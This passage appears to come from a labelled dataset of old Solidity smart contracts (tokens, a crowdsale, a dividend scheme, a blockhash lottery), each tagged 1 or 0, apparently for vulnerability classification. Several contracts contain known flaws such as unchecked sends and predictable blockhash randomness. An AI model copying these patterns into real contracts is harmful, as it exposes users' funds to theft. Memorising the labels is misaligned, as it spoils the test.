require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract WEA is StandardToken {
string public constant name = "Wea";
string public constant symbol = "WEA";
uint8 public constant decimals = 2;
uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals));
function WEA() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 |
pragma solidity ^0.4.7;
contract AbstractSYCCrowdsale {
}
contract SYCEarlyPurchase {
string public constant PURCHASE_AMOUNT_UNIT = 'ETH';
uint public constant WEI_MINIMUM_PURCHASE = 1 * 10 ** 18;
uint public constant WEI_MAXIMUM_EARLYPURCHASE = 2 * 10 ** 18;
address public owner;
EarlyPurchase[] public earlyPurchases;
uint public earlyPurchaseClosedAt;
uint public totalEarlyPurchaseRaised;
struct EarlyPurchase {
address purchaser;
uint amount;
uint purchasedAt;
}
AbstractSYCCrowdsale public sycCrowdsale;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
modifier onlyEarlyPurchaseTerm() {
if (earlyPurchaseClosedAt > 0) {
throw;
}
_;
}
function SYCEarlyPurchase() {
owner = msg.sender;
}
function purchasedAmountBy(address purchaser)
external
constant
returns (uint amount)
{
for (uint i; i < earlyPurchases.length; i++) {
if (earlyPurchases[i].purchaser == purchaser) {
amount += earlyPurchases[i].amount;
}
}
}
function numberOfEarlyPurchases()
external
constant
returns (uint)
{
return earlyPurchases.length;
}
function appendEarlyPurchase(address purchaser, uint amount, uint purchasedAt)
internal
onlyEarlyPurchaseTerm
returns (bool)
{
if (purchasedAt == 0 || purchasedAt > now) {
throw;
}
if (purchasedAt == 0 || purchasedAt > now) {
throw;
}
if(totalEarlyPurchaseRaised + amount >= WEI_MAXIMUM_EARLYPURCHASE){
purchaser.send(totalEarlyPurchaseRaised + amount - WEI_MAXIMUM_EARLYPURCHASE);
earlyPurchases.push(EarlyPurchase(purchaser, WEI_MAXIMUM_EARLYPURCHASE - totalEarlyPurchaseRaised, purchasedAt));
totalEarlyPurchaseRaised += WEI_MAXIMUM_EARLYPURCHASE - totalEarlyPurchaseRaised;
}
else{
earlyPurchases.push(EarlyPurchase(purchaser, amount, purchasedAt));
totalEarlyPurchaseRaised += amount;
}
if(totalEarlyPurchaseRaised >= WEI_MAXIMUM_EARLYPURCHASE){
closeEarlyPurchase();
}
return true;
}
function closeEarlyPurchase()
onlyOwner
returns (bool)
{
earlyPurchaseClosedAt = now;
}
function setup(address sycCrowdsaleAddress)
external
onlyOwner
returns (bool)
{
if (address(sycCrowdsale) == 0) {
sycCrowdsale = AbstractSYCCrowdsale(sycCrowdsaleAddress);
return true;
}
return false;
}
function withdraw(uint withdrawalAmount) onlyOwner {
if(!owner.send(withdrawalAmount)) throw;
}
function withdrawAll() onlyOwner {
if(!owner.send(this.balance)) throw;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
function () payable{
require(msg.value >= WEI_MINIMUM_PURCHASE);
appendEarlyPurchase(msg.sender, msg.value, block.timestamp);
}
} | 1 |
pragma solidity ^0.4.24;
contract Test7 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 7;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.5 ether;
address public ownerWallet;
address public owner;
bool public gameStarted;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function startGame() public onlyOwner {
gameStarted = true;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
require(gameStarted);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(85).div(1000));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(35).div(1000));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 |
pragma solidity ^0.4.21;
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract EthPyBase {
function buy(address) public payable returns(uint256){}
function withdraw() public {}
function myTokens() public view returns(uint256){}
}
contract Owned {
address public owner;
address public ownerCandidate;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract EPTest is Owned {
address public twin_contract;
EthPyBase twin;
function addTwinAddress(address twinAddress) public onlyOwner {
require(twinAddress != address(this));
twin_contract = twinAddress;
twin = EthPyBase(twin_contract);
}
uint256 constant scaleFactor = 0x10000000000000000;
int constant crr_n = 1;
int constant crr_d = 2;
int constant price_coeff = -0x296ABF784A358468C;
string constant public name = "EPTest";
string constant public symbol = "EPY";
uint8 constant public decimals = 18;
mapping(address => uint256) public tokenBalance;
mapping(address => int256) public payouts;
uint256 public totalSupply;
int256 totalPayouts;
uint256 earningsPerToken;
uint256 public contractBalance;
function EPTest() public {}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return tokenBalance[_owner];
}
function withdraw() public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
contractBalance = sub(contractBalance, balance);
msg.sender.transfer(balance);
}
function reinvestDividends() public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
uint value_ = (uint) (balance);
if (value_ < 0.000001 ether || value_ > 1000000 ether)
revert();
var sender = msg.sender;
var res = reserve() - balance;
var fee = div(value_, 10);
var numEther = value_ - fee;
var numTokens = calculateDividendTokens(numEther, balance);
var buyerFee = fee * scaleFactor;
if (totalSupply > 0) {
var bonusCoEff =
(scaleFactor - (res + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
var rewardPerShare = holderReward / totalSupply;
earningsPerToken += rewardPerShare;
}
totalSupply = add(totalSupply, numTokens);
tokenBalance[sender] = add(tokenBalance[sender], numTokens);
var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sellMyTokens() public {
var balance = balanceOf(msg.sender);
sell(balance);
}
function getMeOutOfHere() public {
sellMyTokens();
withdraw();
}
function fund() payable public {
if (msg.value > 0.000001 ether) {
buy();
} else {
revert();
}
}
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
function sellPrice() public constant returns (uint) {
var eth = getEtherForTokens(1 finney);
var fee = div(eth, 10);
return eth - fee;
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerToken * tokenBalance[_owner]) - payouts[_owner]) / scaleFactor;
}
function withdrawOld(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
contractBalance = sub(contractBalance, balance);
to.transfer(balance);
}
function balance() internal constant returns (uint256 amount) {
return contractBalance - msg.value;
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
uint fee = div(msg.value, 20);
uint fee2 = div(msg.value, 20);
var numEther = msg.value - fee - fee2;
var numTokens = getTokensForEther(numEther);
var buyerFee = fee * scaleFactor;
if (totalSupply > 0) {
var bonusCoEff =
(scaleFactor - (reserve() + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
var rewardPerShare = holderReward / totalSupply;
earningsPerToken += rewardPerShare;
}
totalSupply = add(totalSupply, numTokens);
tokenBalance[sender] = add(tokenBalance[sender], numTokens);
var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
if( fee2 != 0 ){
twin.buy.value(fee2).gas(1000000)(msg.sender);
}
}
function sell(uint256 amount) internal {
var numEthersBeforeFee = getEtherForTokens(amount);
uint fee = div(numEthersBeforeFee, 20);
uint fee2 = div(numEthersBeforeFee, 20);
var numEthers = numEthersBeforeFee - fee - fee2;
totalSupply = sub(totalSupply, amount);
tokenBalance[msg.sender] = sub(tokenBalance[msg.sender], amount);
var payoutDiff = (int256) (earningsPerToken * amount + (numEthers * scaleFactor));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
if (totalSupply > 0) {
var etherFee = fee * scaleFactor;
var rewardPerShare = etherFee / totalSupply;
earningsPerToken = add(earningsPerToken, rewardPerShare);
}
if( fee2 != 0 ){
twin.buy.value(fee2).gas(1000000)(msg.sender);
}
}
function reserve() internal constant returns (uint256 amount) {
return sub(balance(),
((uint256) ((int256) (earningsPerToken * totalSupply) - totalPayouts) / scaleFactor));
}
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return sub(fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
}
function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) {
return sub(fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
var reserveAmount = reserve();
if (tokens == totalSupply)
return reserveAmount;
return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n));
}
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function () payable public {
if (msg.value > 0) {
fund();
} else {
withdrawOld(msg.sender);
}
}
} | 0 |
pragma solidity ^ 0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract WhiteList is Ownable {
mapping(address => bool) public whiteList;
uint public totalWhiteListed;
event LogWhiteListed(address indexed user, uint whiteListedNum);
event LogWhiteListedMultiple(uint whiteListedNum);
event LogRemoveWhiteListed(address indexed user);
function isWhiteListed(address _user) external view returns (bool) {
return whiteList[_user];
}
function removeFromWhiteList(address _user) external onlyOwner() returns (bool) {
require(whiteList[_user] == true);
whiteList[_user] = false;
totalWhiteListed--;
LogRemoveWhiteListed(_user);
return true;
}
function addToWhiteList(address _user) external onlyOwner() returns (bool) {
if (whiteList[_user] != true) {
whiteList[_user] = true;
totalWhiteListed++;
LogWhiteListed(_user, totalWhiteListed);
}
return true;
}
function addToWhiteListMultiple(address[] _users) external onlyOwner() returns (bool) {
for (uint i = 0; i < _users.length; ++i) {
if (whiteList[_users[i]] != true) {
whiteList[_users[i]] = true;
totalWhiteListed++;
}
}
LogWhiteListedMultiple(totalWhiteListed);
return true;
}
} | 1 |
pragma solidity ^0.4.4;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract MDPTestToken is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function MDPTestToken(
) {
balances[msg.sender] = 660000000000000;
totalSupply = 660000000000000;
name = "MDP Token";
decimals = 7;
symbol = "MDP";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 |
pragma solidity ^0.4.25;
contract Slaughter3D {
using SafeMath for uint;
struct Stage {
uint8 numberOfPlayers;
uint256 blocknumber;
bool finalized;
mapping (uint8 => address) slotXplayer;
mapping (address => bool) players;
mapping (uint8 => address) setMN;
}
HourglassInterface constant p3dContract = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);
SPASMInterface constant SPASM_ = SPASMInterface(0xfaAe60F2CE6491886C9f7C9356bd92F688cA66a1);
uint256 constant private P3D_SHARE = 0.005 ether;
uint8 constant public MAX_PLAYERS_PER_STAGE = 2;
uint256 constant public OFFER_SIZE = 0.1 ether;
uint256 public Refundpot;
uint256 public Jackpot;
uint256 public SPASMfee;
mapping(address => uint256) public ETHtoP3Dbymasternode;
uint256 private p3dPerStage = P3D_SHARE * (MAX_PLAYERS_PER_STAGE - 1);
uint256 public winningsPerRound = 0.185 ether;
mapping(address => string) public Vanity;
mapping(address => uint256) private playerVault;
mapping(uint256 => Stage) public stages;
mapping(uint256 => address) public RefundWaitingLine;
mapping(uint256 => address) public Loser;
uint256 public NextInLine;
uint256 public NextAtLineEnd;
uint256 private numberOfFinalizedStages;
uint256 public numberOfStages;
event JackpotWon(address indexed winner, uint256 SizeOfJackpot);
event SacrificeOffered(address indexed player);
event SacrificeChosen(address indexed sarifice);
event EarningsWithdrawn(address indexed player, uint256 indexed amount);
event StageInvalidated(uint256 indexed stage);
function previousstagedata()
public
view
returns(address loser , address player1, string van1 ,address player2, string van2 )
{
return (Loser[numberOfFinalizedStages],stages[numberOfFinalizedStages].slotXplayer[0],Vanity[stages[numberOfFinalizedStages].slotXplayer[0]],stages[numberOfFinalizedStages].slotXplayer[1],Vanity[stages[numberOfFinalizedStages].slotXplayer[1]]);
}
function currentstagedata()
public
view
returns( address player1, string van1 ,address player2, string van2 )
{
return (stages[numberOfStages].slotXplayer[0],Vanity[stages[numberOfStages].slotXplayer[0]],stages[numberOfStages].slotXplayer[1],Vanity[stages[numberOfStages].slotXplayer[1]]);
}
function jackpotinfo()
public
view
returns(uint256 SizeOfJackpot )
{
return (Jackpot);
}
function checkstatus()
public
view
returns(bool CanStartBattle )
{
bool check;
if(numberOfStages >= numberOfFinalizedStages)
{
if(!stages[numberOfFinalizedStages].finalized && stages[numberOfFinalizedStages].numberOfPlayers < MAX_PLAYERS_PER_STAGE && stages[numberOfFinalizedStages].blocknumber != 0)
{
check = true;
}
}
return (check);
}
function Refundlineinfo()
public
view
returns(address NextAdresstoRefund, uint256 LengthUnpaidLine,uint256 divsunfetched, uint256 refundpot , string vanityofnexttoberefunded)
{
LengthUnpaidLine = NextAtLineEnd - NextInLine;
uint256 dividends = p3dContract.myDividends(true);
return (RefundWaitingLine[NextInLine],LengthUnpaidLine, dividends , Refundpot ,Vanity[RefundWaitingLine[NextInLine]]);
}
function Expand(address masternode) public
{
uint256 amt = ETHtoP3Dbymasternode[masternode];
ETHtoP3Dbymasternode[masternode] = 0;
if(masternode == 0x0){masternode = 0x989eB9629225B8C06997eF0577CC08535fD789F9;}
p3dContract.buy.value(amt)(masternode);
}
function DivsToRefundpot ()public
{
uint256 dividends = p3dContract.myDividends(true);
require(dividends > 0);
uint256 base = dividends.div(100);
p3dContract.withdraw();
SPASM_.disburse.value(base)();
Refundpot = Refundpot.add(base.mul(94));
Jackpot = Jackpot.add(base.mul(5));
}
function DonateToLosers ()public payable
{
require(msg.value > 0);
Refundpot = Refundpot.add(msg.value);
}
function Payoutnextrefund ()public
{
uint256 Pot = Refundpot;
require(Pot > 0.1 ether);
Refundpot -= 0.1 ether;
RefundWaitingLine[NextInLine].transfer(0.1 ether);
NextInLine++;
}
function changevanity(string van , address masternode) public payable
{
require(msg.value >= 1 finney);
Vanity[msg.sender] = van;
uint256 amt = ETHtoP3Dbymasternode[masternode].add(msg.value);
ETHtoP3Dbymasternode[masternode] = 0;
if(masternode == 0x0){masternode = 0x989eB9629225B8C06997eF0577CC08535fD789F9;}
p3dContract.buy.value(amt)(masternode);
}
modifier isValidOffer()
{
require(msg.value == OFFER_SIZE);
_;
}
modifier canPayFromVault()
{
require(playerVault[msg.sender] >= OFFER_SIZE);
_;
}
modifier hasEarnings()
{
require(playerVault[msg.sender] > 0);
_;
}
modifier prepareStage()
{
if(stages[numberOfStages - 1].numberOfPlayers == MAX_PLAYERS_PER_STAGE) {
stages[numberOfStages] = Stage(0, 0, false );
numberOfStages++;
}
_;
}
modifier isNewToStage()
{
require(stages[numberOfStages - 1].players[msg.sender] == false);
_;
}
constructor()
public
{
stages[numberOfStages] = Stage(0, 0, false);
numberOfStages++;
}
function() external payable {}
function offerAsSacrifice(address MN)
external
payable
isValidOffer
prepareStage
isNewToStage
{
acceptOffer(MN);
tryFinalizeStage();
}
function offerAsSacrificeFromVault(address MN)
external
canPayFromVault
prepareStage
isNewToStage
{
playerVault[msg.sender] -= OFFER_SIZE;
acceptOffer(MN);
tryFinalizeStage();
}
function withdraw()
external
hasEarnings
{
tryFinalizeStage();
uint256 amount = playerVault[msg.sender];
playerVault[msg.sender] = 0;
emit EarningsWithdrawn(msg.sender, amount);
msg.sender.transfer(amount);
}
function myEarnings()
external
view
hasEarnings
returns(uint256)
{
return playerVault[msg.sender];
}
function currentPlayers()
external
view
returns(uint256)
{
return stages[numberOfStages - 1].numberOfPlayers;
}
function acceptOffer(address MN)
private
{
Stage storage currentStage = stages[numberOfStages - 1];
assert(currentStage.numberOfPlayers < MAX_PLAYERS_PER_STAGE);
address player = msg.sender;
currentStage.slotXplayer[currentStage.numberOfPlayers] = player;
currentStage.numberOfPlayers++;
currentStage.players[player] = true;
currentStage.setMN[currentStage.numberOfPlayers] = MN;
emit SacrificeOffered(player);
if(currentStage.numberOfPlayers == MAX_PLAYERS_PER_STAGE) {
currentStage.blocknumber = block.number;
}
}
function tryFinalizeStage()
public
{
assert(numberOfStages >= numberOfFinalizedStages);
if(numberOfStages == numberOfFinalizedStages) {return;}
Stage storage stageToFinalize = stages[numberOfFinalizedStages];
assert(!stageToFinalize.finalized);
if(stageToFinalize.numberOfPlayers < MAX_PLAYERS_PER_STAGE) {return;}
assert(stageToFinalize.blocknumber != 0);
if(block.number - 256 <= stageToFinalize.blocknumber) {
if(block.number == stageToFinalize.blocknumber) {return;}
uint8 sacrificeSlot = uint8(blockhash(stageToFinalize.blocknumber)) % MAX_PLAYERS_PER_STAGE;
uint256 jackpot = uint256(blockhash(stageToFinalize.blocknumber)) % 1000;
address sacrifice = stageToFinalize.slotXplayer[sacrificeSlot];
Loser[numberOfFinalizedStages] = sacrifice;
emit SacrificeChosen(sacrifice);
allocateSurvivorWinnings(sacrifice);
if(jackpot == 777){
sacrifice.transfer(Jackpot);
emit JackpotWon ( sacrifice, Jackpot);
Jackpot = 0;
}
RefundWaitingLine[NextAtLineEnd] = sacrifice;
NextAtLineEnd++;
ETHtoP3Dbymasternode[stageToFinalize.setMN[1]] = ETHtoP3Dbymasternode[stageToFinalize.setMN[1]].add(0.005 ether);
ETHtoP3Dbymasternode[stageToFinalize.setMN[1]] = ETHtoP3Dbymasternode[stageToFinalize.setMN[2]].add(0.005 ether);
Refundpot = Refundpot.add(0.005 ether);
} else {
invalidateStage(numberOfFinalizedStages);
emit StageInvalidated(numberOfFinalizedStages);
}
stageToFinalize.finalized = true;
numberOfFinalizedStages++;
}
function allocateSurvivorWinnings(address sacrifice)
private
{
for (uint8 i = 0; i < MAX_PLAYERS_PER_STAGE; i++) {
address survivor = stages[numberOfFinalizedStages].slotXplayer[i];
if(survivor != sacrifice) {
playerVault[survivor] += winningsPerRound;
}
}
}
function invalidateStage(uint256 stageIndex)
private
{
Stage storage stageToInvalidate = stages[stageIndex];
for (uint8 i = 0; i < MAX_PLAYERS_PER_STAGE; i++) {
address player = stageToInvalidate.slotXplayer[i];
playerVault[player] += OFFER_SIZE;
}
}
}
interface HourglassInterface {
function buy(address _playerAddress) payable external returns(uint256);
function withdraw() external;
function myDividends(bool _includeReferralBonus) external view returns(uint256);
function balanceOf(address _playerAddress) external view returns(uint256);
}
interface SPASMInterface {
function() payable external;
function disburse() external payable;
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
} | 0 |
pragma solidity ^0.6.0;
contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
